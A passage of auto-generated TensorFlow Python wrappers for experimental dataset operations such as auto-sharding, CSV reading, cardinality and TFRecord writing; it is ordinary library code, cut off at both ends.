`>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalAssertNextDataset", name, _ctx._post_execution_callbacks, input_dataset, transformations, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_assert_next_dataset_eager_fallback( input_dataset, transformations, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_assert_next_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_assert_next_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalAssertNextDataset", input_dataset=input_dataset, transformations=transformations, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalAssertNextDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalAssertNextDataset(input_dataset, transformations, output_types, output_shapes, name=None): return experimental_assert_next_dataset(input_dataset=input_dataset, transformations=transformations, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalAssertNextDataset.__doc__ = experimental_assert_next_dataset.__doc__ ExperimentalAssertNextDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalAssertNextDataset)) tf_export("raw_ops.ExperimentalAssertNextDataset")(ExperimentalAssertNextDataset) def experimental_assert_next_dataset_eager_fallback(input_dataset, transformations, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_assert_next_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_assert_next_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_assert_next_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) transformations = _ops.convert_to_tensor(transformations, _dtypes.string) _inputs_flat = [input_dataset, transformations] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalAssertNextDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalAssertNextDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_auto_shard_dataset(input_dataset, num_workers, index, output_types, output_shapes, name=None): r"""Creates a dataset that shards the input dataset. Creates a dataset that shards the input dataset by num_workers, returning a sharded dataset for the index-th worker. This attempts to automatically shard a dataset by examining the Dataset graph and inserting a shard op before the inputs to a reader Dataset (e.g. CSVDataset, TFRecordDataset). This dataset will throw a NotFound error if we cannot shard the dataset automatically. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the input dataset. num_workers: A `Tensor` of type `int64`. A scalar representing the number of workers to distribute this dataset across. index: A `Tensor` of type `int64`. A scalar representing the index of the current worker out of num_workers. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalAutoShardDataset", name, _ctx._post_execution_callbacks, input_dataset, num_workers, index, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_auto_shard_dataset_eager_fallback( input_dataset, num_workers, index, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_auto_shard_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_auto_shard_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalAutoShardDataset", input_dataset=input_dataset, num_workers=num_workers, index=index, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalAutoShardDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalAutoShardDataset(input_dataset, num_workers, index, output_types, output_shapes, name=None): return experimental_auto_shard_dataset(input_dataset=input_dataset, num_workers=num_workers, index=index, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalAutoShardDataset.__doc__ = experimental_auto_shard_dataset.__doc__ ExperimentalAutoShardDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalAutoShardDataset)) tf_export("raw_ops.ExperimentalAutoShardDataset")(ExperimentalAutoShardDataset) def experimental_auto_shard_dataset_eager_fallback(input_dataset, num_workers, index, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_auto_shard_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_auto_shard_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_auto_shard_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) num_workers = _ops.convert_to_tensor(num_workers, _dtypes.int64) index = _ops.convert_to_tensor(index, _dtypes.int64) _inputs_flat = [input_dataset, num_workers, index] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalAutoShardDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalAutoShardDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_bytes_produced_stats_dataset(input_dataset, tag, output_types, output_shapes, name=None): r"""Records the bytes size of each element of `input_dataset` in a StatsAggregator. Args: input_dataset: A `Tensor` of type `variant`. tag: A `Tensor` of type `string`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalBytesProducedStatsDataset", name, _ctx._post_execution_callbacks, input_dataset, tag, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_bytes_produced_stats_dataset_eager_fallback( input_dataset, tag, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_bytes_produced_stats_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_bytes_produced_stats_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalBytesProducedStatsDataset", input_dataset=input_dataset, tag=tag, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalBytesProducedStatsDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalBytesProducedStatsDataset(input_dataset, tag, output_types, output_shapes, name=None): return experimental_bytes_produced_stats_dataset(input_dataset=input_dataset, tag=tag, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalBytesProducedStatsDataset.__doc__ = experimental_bytes_produced_stats_dataset.__doc__ ExperimentalBytesProducedStatsDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalBytesProducedStatsDataset)) tf_export("raw_ops.ExperimentalBytesProducedStatsDataset")(ExperimentalBytesProducedStatsDataset) def experimental_bytes_produced_stats_dataset_eager_fallback(input_dataset, tag, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_bytes_produced_stats_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_bytes_produced_stats_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_bytes_produced_stats_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) tag = _ops.convert_to_tensor(tag, _dtypes.string) _inputs_flat = [input_dataset, tag] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalBytesProducedStatsDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalBytesProducedStatsDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_csv_dataset(filenames, compression_type, buffer_size, header, field_delim, use_quote_delim, na_value, select_cols, record_defaults, output_shapes, name=None): r"""TODO: add doc. Args: filenames: A `Tensor` of type `string`. compression_type: A `Tensor` of type `string`. buffer_size: A `Tensor` of type `int64`. header: A `Tensor` of type `bool`. field_delim: A `Tensor` of type `string`. use_quote_delim: A `Tensor` of type `bool`. na_value: A `Tensor` of type `string`. select_cols: A `Tensor` of type `int64`. record_defaults: A list of `Tensor` objects with types from: `float32`, `float64`, `int32`, `int64`, `string`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalCSVDataset", name, _ctx._post_execution_callbacks, filenames, compression_type, buffer_size, header, field_delim, use_quote_delim, na_value, select_cols, record_defaults, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_csv_dataset_eager_fallback( filenames, compression_type, buffer_size, header, field_delim, use_quote_delim, na_value, select_cols, record_defaults, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_csv_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalCSVDataset", filenames=filenames, compression_type=compression_type, buffer_size=buffer_size, header=header, field_delim=field_delim, use_quote_delim=use_quote_delim, na_value=na_value, select_cols=select_cols, record_defaults=record_defaults, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalCSVDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalCSVDataset(filenames, compression_type, buffer_size, header, field_delim, use_quote_delim, na_value, select_cols, record_defaults, output_shapes, name=None): return experimental_csv_dataset(filenames=filenames, compression_type=compression_type, buffer_size=buffer_size, header=header, field_delim=field_delim, use_quote_delim=use_quote_delim, na_value=na_value, select_cols=select_cols, record_defaults=record_defaults, output_shapes=output_shapes, name=name) ExperimentalCSVDataset.__doc__ = experimental_csv_dataset.__doc__ ExperimentalCSVDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalCSVDataset)) tf_export("raw_ops.ExperimentalCSVDataset")(ExperimentalCSVDataset) def experimental_csv_dataset_eager_fallback(filenames, compression_type, buffer_size, header, field_delim, use_quote_delim, na_value, select_cols, record_defaults, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_csv_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_csv_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _attr_output_types, record_defaults = _execute.convert_to_mixed_eager_tensors(record_defaults, _ctx) filenames = _ops.convert_to_tensor(filenames, _dtypes.string) compression_type = _ops.convert_to_tensor(compression_type, _dtypes.string) buffer_size = _ops.convert_to_tensor(buffer_size, _dtypes.int64) header = _ops.convert_to_tensor(header, _dtypes.bool) field_delim = _ops.convert_to_tensor(field_delim, _dtypes.string) use_quote_delim = _ops.convert_to_tensor(use_quote_delim, _dtypes.bool) na_value = _ops.convert_to_tensor(na_value, _dtypes.string) select_cols = _ops.convert_to_tensor(select_cols, _dtypes.int64) _inputs_flat = [filenames, compression_type, buffer_size, header, field_delim, use_quote_delim, na_value, select_cols] + list(record_defaults) _attrs = ("output_types", _attr_output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalCSVDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalCSVDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_choose_fastest_dataset(input_datasets, num_experiments, output_types, output_shapes, name=None): r"""TODO: add doc. Args: input_datasets: A list of at least 2 `Tensor` objects with type `variant`. num_experiments: An `int`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalChooseFastestDataset", name, _ctx._post_execution_callbacks, input_datasets, "num_experiments", num_experiments, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_choose_fastest_dataset_eager_fallback( input_datasets, num_experiments=num_experiments, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(input_datasets, (list, tuple)): raise TypeError( "Expected list for 'input_datasets' argument to " "'experimental_choose_fastest_dataset' Op, not %r." % input_datasets) _attr_N = len(input_datasets) num_experiments = _execute.make_int(num_experiments, "num_experiments") if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_choose_fastest_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_choose_fastest_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalChooseFastestDataset", input_datasets=input_datasets, num_experiments=num_experiments, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("N", _op.get_attr("N"), "num_experiments", _op.get_attr("num_experiments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalChooseFastestDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalChooseFastestDataset(input_datasets, num_experiments, output_types, output_shapes, name=None): return experimental_choose_fastest_dataset(input_datasets=input_datasets, num_experiments=num_experiments, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalChooseFastestDataset.__doc__ = experimental_choose_fastest_dataset.__doc__ ExperimentalChooseFastestDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalChooseFastestDataset)) tf_export("raw_ops.ExperimentalChooseFastestDataset")(ExperimentalChooseFastestDataset) def experimental_choose_fastest_dataset_eager_fallback(input_datasets, num_experiments, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_choose_fastest_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(input_datasets, (list, tuple)): raise TypeError( "Expected list for 'input_datasets' argument to " "'experimental_choose_fastest_dataset' Op, not %r." % input_datasets) _attr_N = len(input_datasets) num_experiments = _execute.make_int(num_experiments, "num_experiments") if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_choose_fastest_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_choose_fastest_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_datasets = _ops.convert_n_to_tensor(input_datasets, _dtypes.variant) _inputs_flat = list(input_datasets) _attrs = ("N", _attr_N, "num_experiments", num_experiments, "output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalChooseFastestDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalChooseFastestDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_dataset_cardinality(input_dataset, name=None): r"""Returns the cardinality of `input_dataset`. Returns the cardinality of `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the dataset to return cardinality for. name: A name for the operation (optional). Returns: A `Tensor` of type `int64`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalDatasetCardinality", name, _ctx._post_execution_callbacks, input_dataset) return _result except _core._FallbackException: try: return experimental_dataset_cardinality_eager_fallback( input_dataset, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalDatasetCardinality", input_dataset=input_dataset, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = None _execute.record_gradient( "ExperimentalDatasetCardinality", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalDatasetCardinality(input_dataset, name=None): return experimental_dataset_cardinality(input_dataset=input_dataset, name=name) ExperimentalDatasetCardinality.__doc__ = experimental_dataset_cardinality.__doc__ ExperimentalDatasetCardinality = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalDatasetCardinality)) tf_export("raw_ops.ExperimentalDatasetCardinality")(ExperimentalDatasetCardinality) def experimental_dataset_cardinality_eager_fallback(input_dataset, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_dataset_cardinality """ _ctx = ctx if ctx else _context.context() input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] _attrs = None _result = _execute.execute(b"ExperimentalDatasetCardinality", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalDatasetCardinality", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_dataset_to_tf_record(input_dataset, filename, compression_type, name=None): r"""Writes the given dataset to the given file using the TFRecord format. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the dataset to write. filename: A `Tensor` of type `string`. A scalar string tensor representing the filename to use. compression_type: A `Tensor` of type `string`. A scalar string tensor containing either (i) the empty string (no compression), (ii) "ZLIB", or (iii) "GZIP". name: A name for the operation (optional). Returns: The created Operation. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalDatasetToTFRecord", name, _ctx._post_execution_callbacks, input_dataset, filename, compression_type) return _result except _core._FallbackException: try: return experimental_dataset_to_tf_record_eager_fallback( input_dataset, filename, compression_type, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalDatasetToTFRecord", input_dataset=input_dataset, filename=filename, compression_type=compression_type, name=name) return _op _result = None return _result def ExperimentalDatasetToTFRecord(input_dataset, filename, compression_type, name=None): return experimental_dataset_to_tf_record(input_dataset=input_dataset, filename=filename, compression_type=compression_type, name=name) ExperimentalDatasetToTFRecord.__doc__ = experimental_dataset_to_tf_record.__doc__ ExperimentalDatasetToTFRecord = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalDatasetToTFRecord)) tf_export("raw_ops.ExperimentalDatasetToTFRecord")(ExperimentalDatasetToTFRecord) def experimental_dataset_to_tf_record_eager_fallback(input_dataset, filename, compression_type, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_dataset_to_tf_record """ _ctx = ctx if ctx else _context.context() input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) filename = _ops.convert_to_tensor(filename, _dtypes.string) compression_type = _ops.convert_to_tensor(compression_type, _dtypes.string) _inputs_flat = [input_dataset, filename, compression_type] _attrs = None _result = _execute.execute(b"ExperimentalDatasetToTFRecord", 0, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _result = None return _result def experimental_dense_to_sparse_batch_dataset(input_dataset, batch_size, row_shape, output_types, output_shapes, name=None): r"""Creates a dataset that batches input elements into a SparseTensor. Args: input_dataset: A `Tensor` of type `variant`. A handle to an input dataset. Must have a single component. batch_size: A `Tensor` of type `int64`. A scalar representing the number of elements to accumulate in a batch. row_shape: A `Tensor` of type `int64`. A vector representing the dense shape of each row in the produced SparseTensor. The shape may be partially specified, using `-1` to indicate that a particular dimension should use the maximum size of all batch elements. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalDenseToSparseBatchDataset", name, _ctx._post_execution_callbacks, input_dataset, batch_size, row_shape, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_dense_to_sparse_batch_dataset_eager_fallback( input_dataset, batch_size, row_shape, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_dense_to_sparse_batch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_dense_to_sparse_batch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalDenseToSparseBatchDataset", input_dataset=input_dataset, batch_size=batch_size, row_shape=row_shape, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalDenseToSparseBatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalDenseToSparseBatchDataset(input_dataset, batch_size, row_shape, output_types, output_shapes, name=None): return experimental_dense_to_sparse_batch_dataset(input_dataset=input_dataset, batch_size=batch_size, row_shape=row_shape, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalDenseToSparseBatchDataset.__doc__ = experimental_dense_to_sparse_batch_dataset.__doc__ ExperimentalDenseToSparseBatchDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalDenseToSparseBatchDataset)) tf_export("raw_ops.ExperimentalDenseToSparseBatchDataset")(ExperimentalDenseToSparseBatchDataset) def experimental_dense_to_sparse_batch_dataset_eager_fallback(input_dataset, batch_size, row_shape, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_dense_to_sparse_batch_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_dense_to_sparse_batch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_dense_to_sparse_batch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) batch_size = _ops.convert_to_tensor(batch_size, _dtypes.int64) row_shape = _ops.convert_to_tensor(row_shape, _dtypes.int64) _inputs_flat = [input_dataset, batch_size, row_shape] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalDenseToSparseBatchDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalDenseToSparseBatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_directed_interleave_dataset(selector_input_dataset, data_input_datasets, output_types, output_shapes, name=None): r"""A substitute for `InterleaveDataset` on a fixed list of `N` datasets. Args: selector_input_dataset: A `Tensor` of type `variant`. A dataset of scalar `DT_INT64` elements that determines which of the `N` data inputs should produce the next output element. data_input_datasets: A list of at least 1 `Tensor` objects with type `variant`. `N` datasets with the same type that will be interleaved according to the values of `selector_input_dataset`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalDirectedInterleaveDataset", name, _ctx._post_execution_callbacks, selector_input_dataset, data_input_datasets, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_directed_interleave_dataset_eager_fallback( selector_input_dataset, data_input_datasets, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(data_input_datasets, (list, tuple)): raise TypeError( "Expected list for 'data_input_datasets' argument to " "'experimental_directed_interleave_dataset' Op, not %r." % data_input_datasets) _attr_N = len(data_input_datasets) if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_directed_interleave_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_directed_interleave_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = 